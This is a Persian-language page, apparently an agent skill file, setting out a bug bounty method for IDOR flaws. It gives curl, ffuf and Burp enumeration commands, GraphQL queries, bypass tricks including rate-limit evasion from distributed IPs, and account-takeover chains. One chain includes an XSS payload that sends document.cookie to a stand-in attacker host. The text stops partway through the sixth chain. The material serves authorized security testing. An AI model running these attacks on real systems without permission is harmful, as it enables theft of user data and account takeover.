hunt-auth-idor

skillمحلیلاین عملیاتی محلیگزارش: ۳۹۲۴ کیلوبایت۱۱ بخش

‏اسکیل شکار آسیب‌پذیری‌های IDOR. ساخته‌شده از ۲۶ گزارش عمومی باگ‌بانتی. برای شکار IDOR روی هر تارگتی استفاده می‌شود.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-auth-idorشروع اجرا
۱
‏همه‌ی مراجع آبجکت را در اپلیکیشن نگاشت کن
۲
‏نوع‌های ID را enumerate کن
۳
‏دو اکانت جدا بساز ‏(همان سطح privilege)
۴
‏IDهای منبع کاربر A را به‌عنوان کاربر B replay کن
۵
‏سناریوهای بین-tenant/بین-org را تست کن
۶
‏مخصوص GraphQL تست کن
۷
‏عملیات نوشتن/مخرب را تست کن، نه فقط خواندن
۸
‏IDORها را به هم زنجیره کن
۹
‏لبه‌های تغییر state را تست کن
۱۰
‏دلتای دقیق را مستند کن
۱۱
‏مهاجم *الان* چه کاری می‌تواند بکند؟
۱۲
‏قربانی چه چیزی *از دست می‌دهد*؟
۱۳
‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-auth-idorلاین عملیاتی محلی · ۱۱ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷دروازه‌ی اعتبارسنجی۸اهداف ارزشمند۹زنجیره‌ها و ترکیب‌ها۱۰دروازه‌ی اعتبارسنجی۱۱اطلاعات عملیاتی
اهداف ارزشمند · ۲سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۲علل ریشه‌ای · ۱تکنیک‌های Bypass · ۲

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏چرا IDOR خوب می‌پردازد:

  • ‏دسترسی مستقیم به داده‌ی کاربران دیگر بدون دورزدن احراز هویت — اثر شفاف و قابل‌اثبات
  • ‏راحت با privilege escalation، تقلب مالی و account takeover زنجیره می‌شود
  • ‏تقریباً هر اپلیکیشنی با منابع متعلق‌به-کاربر را درگیر می‌کند

‏باارزش‌ترین نوع‌های دارایی ‏(بر اساس پتانسیل payout):

نوع داراییچرا می‌پردازد
اسناد مالی / APIهای بیلینگافشای PII + داده‌ی مالی ‏(Shopify، Uber، PayPal)
ریپوهای خصوصی / کد منبعسرقت IP، ازدست‌دادن داده‌ی بحرانی ‏(GitHub)
پیام‌ها / DMهای کاربرنقض حریم خصوصی در مقیاس ‏(Reddit)
endpointهای مدیریت اکانتافزودن، حذف، ارتقای privilege کاربر ‏(PayPal، Mozilla)
مدیریت کسب‌وکار/سازمانارتقای بین-tenant، PII کارمندان ‏(Uber)
اکشن‌های مدریشن/ادمین محتواخرابکاری عملیاتی ‏(mod-log مربوط به Reddit)

‏برنامه‌هایی که برای IDOR بیشتر می‌پردازند:

  • ‏پلتفرم‌های چند-tenant ‏(SaaS، ابزارهای B2B)
  • ‏فین‌تک و پردازش‌گرهای پرداخت
  • ‏پلتفرم‌های اجتماعی با محتوای خصوصی
  • ‏ابزارهای توسعه‌دهنده با ایزولیشن org/repo
۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏الگوهای URL فریادزننده‌ی IDOR:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

‏سیگنال‌های هدر پاسخ:

  • ‏Content-Type: application/json روی endpointهایی که ID خام قبول می‌کنند
  • ‏نبود X-Frame-Options یا misconfig مربوط به CORS همراه پارامترهای ID
  • ‏توکن‌های Authorization: Bearer که user-scoped هستند ولی به منابع org-level می‌خورند

‏الگوهای سورس جاوااسکریپت:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

‏سیگنال‌های تک‌استک:

  • ‏endpointهای GraphQL ‏(IDORهای query-based غالباً جا می‌مانند)
  • ‏APIهای REST با IDهای integer ترتیبی ‏(آسیب‌پذیرترین)
  • ‏UUIDهای قابل‌پیش‌بینی یا لو‌رفته در پاسخ‌های دیگر
  • ‏اپ‌های SaaS چند-tenant با پارامترهای org_id، account_id، business_id
  • ‏اپ‌های موبایل ‏(APK را Burp کن — APIهای موبایل غالباً چک authorization را جا می‌اندازند)
۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏همه‌ی مراجع آبجکت را در اپلیکیشن نگاشت کن
  • ‏هر فیچر را به‌عنوان کاربر A احرازشده مرور کن
  • ‏همه‌ی درخواست‌ها را در Burp Suite بگیر
  • ‏برای درخواست‌های دارای این‌ها فیلتر بزن: id=، _id=، uuid=، /v1/{noun}/{id} و پارامترهای query با مقادیر عددی/UUID
  1. ‏نوع‌های ID را enumerate کن
  • ‏integerهای ترتیبی ← enumerate مربوط به ±۱، ±۱۰۰
  • ‏UUIDها ← چک کن آیا در پاسخ‌های دیگر یا فایل‌های JS ظاهر می‌شوند
  • ‏IDهای هش‌شده ← چک کن آیا در endpointهای عمومی، metadata یا introspection مربوط به GraphQL لو می‌دهند
  1. ‏دو اکانت جدا بساز ‏(همان سطح privilege)
  • ‏کاربر A: مالک منبع
  • ‏کاربر B: اکانت مهاجم
  • ‏همه‌ی IDهای متعلق‌به کاربر A را وقتی به‌عنوان A احراز شده‌ای لاگ کن
  1. ‏IDهای منبع کاربر A را به‌عنوان کاربر B replay کن
  • ‏کوکی/توکن session را با credentialهای کاربر B جایگزین کن
  • ‏درخواست‌های یکسان با ارجاع به IDهای آبجکت کاربر A بفرست
  • ‏همه‌ی verbهای HTTP را روی هر endpoint تست کن: GET، POST، PUT، PATCH، DELETE
  1. ‏سناریوهای بین-tenant/بین-org را تست کن
  • ‏اکانت‌ها را در سازمان‌ها/کسب‌وکارهای جدا بساز
  • ‏تست کن آیا session مربوط به Org B می‌تواند به IDهای Org A ارجاع دهد
  • ‏به endpointهای admin/management توجه ویژه کن
  1. ‏مخصوص GraphQL تست کن
  • ‏introspection بزن: { __schema { queryType { fields { name } } } }
  • ‏برای هر query/mutation با آرگومان id، ID کاربر دیگر را جایگزین کن
  • ‏هم query ‏(خواندن) و هم mutation ‏(نوشتن/حذف) را تست کن
  1. ‏عملیات نوشتن/مخرب را تست کن، نه فقط خواندن
  • ‏آیا کاربر B می‌تواند منابع کاربر A را DELETE کند؟
  • ‏آیا کاربر B می‌تواند محتوای کاربر A را MODIFY کند؟
  • ‏آیا کاربر B می‌تواند خودش را به اکانت کاربر A ADD کند؟
  1. ‏IDORها را به هم زنجیره کن
  • ‏از داده‌ی لو‌رفته‌ی یک IDOR ‏(org IDها، user IDها) برای تغذیه‌ی بعدی استفاده کن
  • ‏‏IDOR ← ID لو‌رفته ← IDOR دوم ← privilege escalation
  1. ‏لبه‌های تغییر state را تست کن
  • ‏توکن‌ها/دعوت‌های منقضی‌شده که هنوز قابل‌قبول‌اند
  • ‏شرایط race روی IDهای منبع
  • ‏ارجاع‌های غیرمستقیم: ?sort=id یا ?filter[user_id]=
  1. ‏دلتای دقیق را مستند کن
  • ‏تأیید کن کاربر B دسترسی مشروعی به منبع کاربر A ندارد
  • ‏از ۲۰۰ OK در برابر ۴۰۳/۴۰۴ موردانتظار اسکرین‌شات/لاگ بگیر
مراحل استخراج‌شده
  1. ۱‏همه‌ی مراجع آبجکت را در اپلیکیشن نگاشت کن
  2. ۲‏هر فیچر را به‌عنوان کاربر A احرازشده مرور کن
  3. ۳‏همه‌ی درخواست‌ها را در Burp Suite بگیر
  4. ۴‏برای درخواست‌های دارای این‌ها فیلتر بزن: `id=`، `_id=`، `uuid=`، `/v1/{noun}/{id}` و پارامترهای query با مقادیر عددی/UUID
  5. ۵‏نوع‌های ID را enumerate کن
  6. ۶‏integerهای ترتیبی ← enumerate مربوط به ±۱، ±۱۰۰
  7. ۷‏UUIDها ← چک کن آیا در پاسخ‌های دیگر یا فایل‌های JS ظاهر می‌شوند
  8. ۸‏IDهای هش‌شده ← چک کن آیا در endpointهای عمومی، metadata یا introspection مربوط به GraphQL لو می‌دهند
  9. ۹‏دو اکانت جدا بساز ‏(همان سطح privilege)
  10. ۱۰‏کاربر A: مالک منبع
  11. ۱۱‏کاربر B: اکانت مهاجم
  12. ۱۲‏همه‌ی IDهای متعلق‌به کاربر A را وقتی به‌عنوان A احراز شده‌ای لاگ کن
  13. ۱۳‏IDهای منبع کاربر A را به‌عنوان کاربر B replay کن
  14. ۱۴‏کوکی/توکن session را با credentialهای کاربر B جایگزین کن
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏تست پایه‌ی IDOR با curl ‏(جابه‌جایی کوکی/توکن):

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

‏تست IDOR مربوط به GraphQL:

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

‏enumerate مربوط به IDهای ترتیبی با ffuf:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

‏ساخت wordlist مربوط به ID ترتیبی:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

‏payload مربوط به Burp Intruder برای اسکن IDOR:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

‏اسکرپ جاوااسکریپت برای IDهای لو‌رفته:

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

‏الگوهای grep برای بازبینی کد منبع:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

‏‏IDOR از طریق دست‌کاری متد HTTP:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done
۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏چک مالکیت مفقود در کوئری‌های ORM
// VULNERABLE: fetches any record
const invoice = await Invoice.findById(req.params.id);

// SECURE: scopes to authenticated user
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
  1. ‏Authorization در سطح route، نه سطح object
  • ‏توسعه‌دهنده چک می‌کند «آیا کاربر لاگین است؟» ولی نه «آیا کاربر مالک این آبجکت است؟»
  • ‏middleware احراز هویت را تأیید می‌کند؛ هندلرهای تکی اعتبارسنجی مالکیت را جا می‌اندازند
  1. ‏اعتماد به IDهای داده‌شده‌ی کلاینت در body درخواست
  • ‏اپ‌های موبایل یا SPA مقدار org_id را در body مربوط به POST می‌فرستند؛ سرور مستقیم استفاده می‌کند بدون تأیید تعلق caller به آن org
  1. ‏resolverهای GraphQL بدون authorization در سطح فیلد
  • ‏resolverهای query با ID از دیتابیس می‌خوانند بدون چک permission کاربر درخواست‌کننده
  • ‏مخصوصاً وقتی resolverها از schema خودکار تولید شده‌اند رایج است
  1. ‏authorization ناسازگار بین verbهای HTTP
  • ‏endpoint مربوط به GET محافظت‌شده است؛ POST/DELETE روی همان مسیر منبع نه
  • ‏در APIهایی رایج که به‌تدریج توسط توسعه‌دهندگان مختلف ساخته شده‌اند
  1. ‏ارجاع‌های غیرمستقیم افشاشده از طریق آبجکت‌های مرتبط
  • ‏آبجکت A ‏(قابل‌دسترس) ارجاعی به آبجکت B دارد ‏(که باید خصوصی باشد)
  • ‏توسعه‌دهنده فقط دسترسی مستقیم به B را محافظت می‌کند، نه ارجاع‌های غیرمستقیم از طریق A
  1. ‏شرایط race و IDORهای state-based
  • ‏authorization در زمان ساخت چک می‌شود، نه در زمان دسترسی
  • ‏دعوت‌ها/توکن‌ها بعد از لغو permission اعطاکننده معتبر می‌مانند
  1. ‏شکست‌های ایزولیشن چند-tenant
  • ‏توسعه‌دهندگان کنترل دسترسی per-user پیاده می‌کنند ولی مرزهای بین-org را فراموش می‌کنند
  • ‏چک user_id هست؛ چک org_id / tenant_id نیست
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏دفاع: UUID به‌جای integer ترتیبی

  • ‏دورزدن: UUIDها غالباً در پاسخ‌های API دیگر، ایمیل‌های نوتیفیکیشن، webhookها، کوئری‌های GraphQL یا سورس JS لو می‌دهند
  • ‏تکنیک: UUIDها را از endpointهای قابل‌دسترس برداشت کن، بعد روی موارد محدود replay کن

‏دفاع: ارجاع‌های غیرمستقیم/هش‌شده

  • ‏دورزدن: هش را decode کن ‏(اغلب base64 یا obfuscation ساده)، یا ID اصلی را در پاسخ دیگری پیدا کن
  • ‏تکنیک: echo "dXNlcl8xMjM0NQ==" | base64 -d ← user_12345

‏دفاع: توکن‌های کوتاه‌عمر per-resource

  • ‏دورزدن: توکن‌ها گاهی بین کاربران قابل‌reuse هستند اگر سرور فقط فرمت توکن را validate کند، نه binding را
  • ‏تکنیک: با توکن خودت به ID منبع کاربر دیگر دسترسی بگیر

‏دفاع: rate limiting روی enumeration

  • ‏دورزدن: enumerate مربوط به کند ‏(۱ درخواست/۵ثانیه)، استفاده از IPهای توزیع‌شده، یا بهره‌برداری از IDORهای غیر-enumeration ‏(ID هدف را از نشت دیگری می‌دانی)

‏دفاع: چک user_id در clause مربوط به WHERE

  • ‏دورزدن: چک کن آیا همان endpoint در نسخه‌ی API دیگری هم هست ‏(/v1/ در برابر /v2/) — منطق authorization غالباً version-specific است
  • ‏تکنیک: باندل‌های JS را برای callهای نسخه‌ی API قدیمی‌تر چک کن

‏دفاع: محدودیت‌های CORS

  • ‏دورزدن: IDOR به بهره‌برداری بین-origin نیاز ندارد — endpointهای API را مستقیم با session خودت تست می‌کنی

‏دفاع: ارجاع‌های «مات» از طریق sessionهای سمت‌سرور

  • ‏دورزدن: دنبال هر endpoint‌ای بگرد که ID داخلی را برمی‌گرداند، بعد آن را جای دیگر استفاده کن؛ APIها غالباً IDها را در هدرهای Location، پیام‌های خطا یا metadata افشا می‌کنند

‏دفاع: فیلتر پارامتر/WAF روی الگوهای رایج

  • ‏دورزدن: JSON تودرتو {"data": {"id": "VICTIM_ID"}}، آلودگی پارامتر HTTP یعنی ?id=own_id&id=victim_id، یا واریانس‌های نام پارامتر مثل user_id، userId، uid، account را امتحان کن
مراحل استخراج‌شده
  1. ۱‏دورزدن: UUIDها غالباً در پاسخ‌های API دیگر، ایمیل‌های نوتیفیکیشن، webhookها، کوئری‌های GraphQL یا سورس JS لو می‌دهند
  2. ۲‏تکنیک: UUIDها را از endpointهای قابل‌دسترس برداشت کن، بعد روی موارد محدود replay کن
  3. ۳‏دورزدن: هش را decode کن ‏(اغلب base64 یا obfuscation ساده)، یا ID اصلی را در پاسخ دیگری پیدا کن
  4. ۴‏تکنیک: `echo "dXNlcl8xMjM0NQ==" | base64 -d` ← `user_12345`
  5. ۵‏دورزدن: توکن‌ها گاهی بین کاربران قابل‌reuse هستند اگر سرور فقط فرمت توکن را validate کند، نه binding را
  6. ۶‏تکنیک: با توکن خودت به ID منبع کاربر دیگر دسترسی بگیر
  7. ۷‏دورزدن: enumerate مربوط به کند ‏(۱ درخواست/۵ثانیه)، استفاده از IPهای توزیع‌شده، یا بهره‌برداری از IDORهای غیر-enumeration ‏(ID هدف را از نشت دیگری می‌دانی)
  8. ۸‏دورزدن: چک کن آیا همان endpoint در نسخه‌ی API دیگری هم هست ‏(`/v1/` در برابر `/v2/`) — منطق authorization غالباً version-specific است
  9. ۹‏تکنیک: باندل‌های JS را برای callهای نسخه‌ی API قدیمی‌تر چک کن
  10. ۱۰‏دورزدن: IDOR به بهره‌برداری بین-origin نیاز ندارد — endpointهای API را مستقیم با session خودت تست می‌کنی
  11. ۱۱‏دورزدن: دنبال هر endpoint‌ای بگرد که ID داخلی را *برمی‌گرداند*، بعد آن را جای دیگر استفاده کن؛ APIها غالباً IDها را در هدرهای `Location`، پیام‌های خطا یا metadata افشا می‌کنند
  12. ۱۲‏دورزدن: JSON تودرتو `{"data": {"id": "VICTIM_ID"}}`، آلودگی پارامتر HTTP یعنی `?id=own_id&id=victim_id`، یا واریانس‌های نام پارامتر مثل `user_id`، `userId`، `uid`، `account` را امتحان کن
۷

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏قبل از نوشتن گزارش، به هر سه جواب بده:

  1. ‏مهاجم الان چه کاری می‌تواند بکند؟

مشخص بنویس: «مهاجم با اکانت معتبر می‌تواند GET به /api/v1/invoices/{victim_invoice_id} بفرستد و سند بیلینگ کامل قربانی شامل نام، آدرس و مبلغ پرداخت را بگیرد — بدون هیچ رابطه‌ای با آن اکانت.»

  1. ‏قربانی چه چیزی از دست می‌دهد؟

به سه‌گانه‌ی CIA نگاشت کن: محرمانگی ‏(داده افشاشده)، یکپارچگی ‏(داده تغییرکرده) یا دسترس‌پذیری ‏(داده حذف‌شده). «قربانی محرمانگی سوابق مالی خصوصی را از دست می‌دهد» یا «محتوای قربانی توسط شخص ثالث حذف می‌شود» — جواب مبهم رد می‌شود.

  1. ‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
  • ‏دو اکانت تازه ساخته شد ✓
  • ‏درخواست HTTP دقیق با ID قربانی مستند شد ✓
  • ‏پاسخ ۲۰۰ OK با داده‌ی قربانی ‏(یا تغییر state تأییدشده) ✓
  • ‏بدون وابستگی به state یا timing از‌پیش‌موجود ✓

اگر نمی‌توانی بازتولیدپذیر demo کنی، گزارش را ثبت نکن.

مراحل استخراج‌شده
  1. ۱‏مهاجم *الان* چه کاری می‌تواند بکند؟
  2. ۲‏قربانی چه چیزی *از دست می‌دهد*؟
  3. ۳‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
  4. ۴‏دو اکانت تازه ساخته شد ✓
  5. ۵‏درخواست HTTP دقیق با ID قربانی مستند شد ✓
  6. ۶‏پاسخ ۲۰۰ OK با داده‌ی قربانی ‏(یا تغییر state تأییدشده) ✓
  7. ۷‏بدون وابستگی به state یا timing از‌پیش‌موجود ✓
۸

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏سناریو ۱: افشای داده‌ی مالی + تقلب بیلینگ بین-اکانت ‏(سبک Uber)

‏مهاجم دو IDOR مرتبط کشف می‌کند: یکی اجازه‌ی خواندن کانفیگ پالیسی voucher هر سازمان را می‌دهد ‏(افشای org IDها، لیست ایمیل کارمندان و روش‌های پرداخت) و دیگری اجازه‌ی تغییر پالیسی voucher با همان IDهای لو‌رفته. زنجیره‌شده، مهاجم می‌تواند شارژها را به اکانت کسب‌وکار دلخواه هدایت کند، PII کارمندان را بین سازمان‌ها افشا کند و لینک‌های دعوت را برباید — همه بدون privilege بالاتر از اکانت کاربر ساده. اثر: تقلب مالی + افشای انبوه PII روی پلتفرم B2B.

‏سناریو ۲: خوانش ریپوی خصوصی از طریق IDOR روی endpoint مهاجرت ‏(سبک GitHub)

‏فیچر مهاجرت به کاربران اجازه‌ی آپلود فایل به job مهاجرت را می‌دهد. پارامتر migration_id در برابر مالکیت کاربر احرازشده اعتبارسنجی نمی‌شود. مهاجم مهاجرت خودش را می‌سازد، فرمت ID را مشاهده می‌کند و ID مهاجرت خصوصی کاربر دیگر را جایگزین می‌کند — دسترسی خواندن به فایل‌های کد منبع از ریپوهای خصوصی‌ای که به آن‌ها دسترسی ندارد. اثر: دورزدن کامل محرمانگی برای مالکیت فکری خصوصی.

‏سناریو ۳: زنجیره‌ی Account Takeover از طریق IDOR پیام ‏(سبک Reddit)

‏مهاجم با جایگزینی thread_id در endpoint مربوط به API پیام‌رسانی به تردهای پیام خصوصی کاربر دیگر دسترسی می‌گیرد. پاسخ شامل محتوای پیام، metadata و — به‌شکل بحرانی — توکن‌های session یا verification فرستاده‌شده از طریق پیام‌های داخلی است. مهاجم از توکن یافت‌شده در پیام‌ها برای انجام گام‌های account recovery استفاده می‌کند و IDOR فقط-خواندنی را به account takeover کامل ارتقا می‌دهد. اثر: compromise کامل اکانت کاربران هدف در مقیاس.

۹

زنجیره‌ها و ترکیب‌ها

Chains & Compositions (Senior Hunting)
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏IDOR تنها برای خوانش بین-tenant در رده‌ی Low–Medium پول می‌گیرد. پول واقعی در زنجیره‌کردن IDOR به یک primitive تغییر-state است که معمولاً اکشن بین-tenant نمی‌دهد — تبدیل «می‌توانم داده‌ی قربانی را ببینم» به «صاحب اکانت قربانی هستم». شش زنجیره‌ی زیر پرپرداخت‌ترین ترکیب‌های IDOR روی برنامه‌های مدرن باگ‌بانتی‌اند.

‏### زنجیره‌ی ۱ — ‏IDOR روی /api/users/{id}/email + نبود re-auth ← ریست پسورد ← ATO

  • ‏الف. ‏IDOR روی endpoint تغییر ایمیل را تأیید کن — درخواست PUT /api/users/{victim_id}/email {"email":"attacker@evil"} از session مهاجم؛ سرور ایمیل قربانی را بدون چک مالکیت عوض می‌کند.
  • ‏ب. ‏فلو ریست‌پسورد را روی اکانت قربانی بزن — سرور لینک ریست را به ایمیل جدید ‏(مهاجم) می‌فرستد.
  • ‏ج. ‏لینک ریست را باز کن، پسورد جدید بگذار و به‌عنوان قربانی لاگین کن.
  • ‏اثر: ‏ATO خاموش — قربانی نوتیفیکیشن تغییر ایمیل نمی‌بیند چون تغییر از طریق API اتفاق می‌افتد نه UI مربوط به «تغییر ایمیل» که audit log خودش را دارد.
  • ‏شکل واقعی: الگوی کلاسیک ATO در خیلی از افشاگری‌های باگ‌بانتی SaaS در ۲۰۱۸–۲۰۲۴. ارجاع متقابل: مسیر ۲ مربوط به hunt-ato ‏(تغییر ایمیل بدون re-auth).

‏### زنجیره‌ی ۲ — ‏IDOR روی دانلود فایل + Content-Disposition کنترل‌شده‌با-نام‌فایل ← XSS-منعکس-از-دانلود ← دزدی session

  • ‏الف. ‏IDOR روی /api/files/{id}/download فایل هر کاربری را با ID برمی‌گرداند.
  • ‏ب. ‏endpoint دانلود مقدار Content-Disposition: attachment; filename="<user-supplied-filename>" را بدون پاک‌سازی newline یا quote می‌گذارد — مهاجم فایلی با نام "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt آپلود می‌کند.
  • ‏ج. ‏قربانی به دانلود می‌رود ← مرورگر اسکریپت تزریق‌شده در context هدر پاسخ را به‌عنوان HTML تعبیر می‌کند ← JS همان-origin اجرا می‌شود ← استخراج کوکی/توکن.
  • ‏اثر: ‏ATO از طریق IDOR + هدر پاسخ کنترل‌شده‌با-نام‌فایل — هیچ primitive به‌تنهایی بحرانی نیست؛ زنجیره است.
  • ‏شکل واقعی: چند کیس افشاشده درباره‌ی endpointهای دانلود SharePoint مربوط به Office 365، دانلودهای attachment مربوط به GitLab و endpointهای export مربوط به SaaS. جفت با زنجیره‌ی ۱ مربوط به hunt-xss ‏(کلاس XSS هدر-پاسخ).

‏### زنجیره‌ی ۳ — ‏IDOR از طریق GID مربوط به node(id:) در GraphQL + پیمایش رابطه‌ی Relay ← استخراج انبوه داده‌ی بین-tenant

  • ‏الف. ‏تارگت از GraphQL با IDهای سراسری سبک Relay استفاده می‌کند ‏(gid://shopify/Customer/<n> یا الگوهای type:id مربوط به base64).
  • ‏ب. ‏کوئری node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } } — resolver مربوط به node() سطح‌بالا درخواست‌کننده را auth می‌کند ولی رابطه‌های تودرتو مالکیت را در برابر Customer حل‌شده دوباره چک نمی‌کنند.
  • ‏ج. ‏روی IDها iterate کن ‏(base64 را decode کن تا عددی را استخراج و افزایش بدهی) تا ایمیل‌ها، جمع سفارش‌ها و روش‌های پرداخت کل دیتابیس مشتری را استخراج کنی.
  • ‏اثر: استخراج انبوه PII / داده‌ی مالی بین-tenant. یک باگ، کل دیتابیس.
  • ‏شکل واقعی: ‏IDOR بیلینگ Shopify یعنی H1 #2207248 ‏(۵هزار دلار)؛ IDOR مربوط به PolicyPageAssetGroup یعنی H1 #1618347 ‏(۲۵هزار دلار). ارجاع متقابل: استناد گزارش افشاشده‌ی #۵ و #۲ مربوط به hunt-graphql.

‏### زنجیره‌ی ۴ — ‏IDOR روی /api/teams/{id}/members + mass-assignment در body ← ارتقای نقش روی تیم قربانی

  • ‏الف. ‏IDOR افقی استاندارد — POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} مهاجم را به‌عنوان عضو عادی بدون چک مالکیت اضافه می‌کند.
  • ‏ب. ‏body فیلدهای اضافی می‌پذیرد که API فیلتر نکرده: {"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} — mass assignment به فیلد role نشت می‌کند.
  • ‏ج. ‏مهاجم به‌عنوان OWNER به تیم قربانی اضافه می‌شود. حالا دسترسی admin کامل به منابع تیم قربانی دارد و می‌تواند مالکان واقعی را حذف کند.
  • ‏اثر: ارتقای privilege بین-tenant از طریق IDOR + mass assignment. کارآمدترین زنجیره‌ی takeover روی APIهای مدیریت تیم SaaS.
  • ‏شکل واقعی: mutation مستند‌نشده‌ی fileCopy مربوط به Shopify یعنی H1 #981472 ‏(۲۰۲۰، ۲هزار دلار)؛ mutation بین-tenant مربوط به UpdateAtlasApplicationPerson یعنی H1 #1066203 ‏(۲۰۲۰). ارجاع متقابل: استنادهای #۷ و #۸ مربوط به hunt-graphql؛ جفت با بخش Mass Assignment مربوط به hunt-api-misconfig.

‏### زنجیره‌ی ۵ — ‏IDOR مربوط به soft-delete + اعتبار توکن بعد-از-حذف ← دسترسی بین-tenant پایدار

  • ‏الف. ‏endpoint «حذف عضو» را شناسایی کن که فلگ active=false را فلیپ می‌کند ولی session/PAT را invalidate نمی‌کند.
  • ‏ب. ‏به‌عنوان کاربر قراربرای‌حذف لاگین کن؛ کوکی session یا PAT را بگیر.
  • ‏ج. ‏ادمین org کاربر را از فلو عادی حذف کند. صبر کن. callهای API را با توکن گرفته‌شده دوباره بزن — IDOR حالا زمانی است ‏(کاربر طبق جدول پالیسی دیگر permission ندارد ولی context auth کش‌شده هنوز پاس می‌شود).
  • ‏اثر: هفته‌ها دسترسی بین-tenant بعد از اخراج؛ افشای نقض GDPR/CCPA؛ اهرم پتانسیل باج‌خواهی.
  • ‏شکل واقعی: کلاس persistence مربوط به staff حذف‌شده‌ی Shopify ‏(۲۰۲۲). ارجاع متقابل: زنجیره‌ی ۱ مربوط به hunt-misc — همان شکل علت ریشه‌ای، primitive شروع متفاوت.

‏### زنجیره‌ی ۶ — ‏‏IDOR دوتایی ‏(/users/{id}/orders ← /orders/{order_id}/refund) ← اثر مالی روی merchant قربانی

  • ‏الف. ‏‏IDOR اول: GET /api/users/{victim_id}/orders لیست سفارش‌های قربانی را بدون چک مالکیت برمی‌گرداند — order_idهای معتبر می‌دهد.
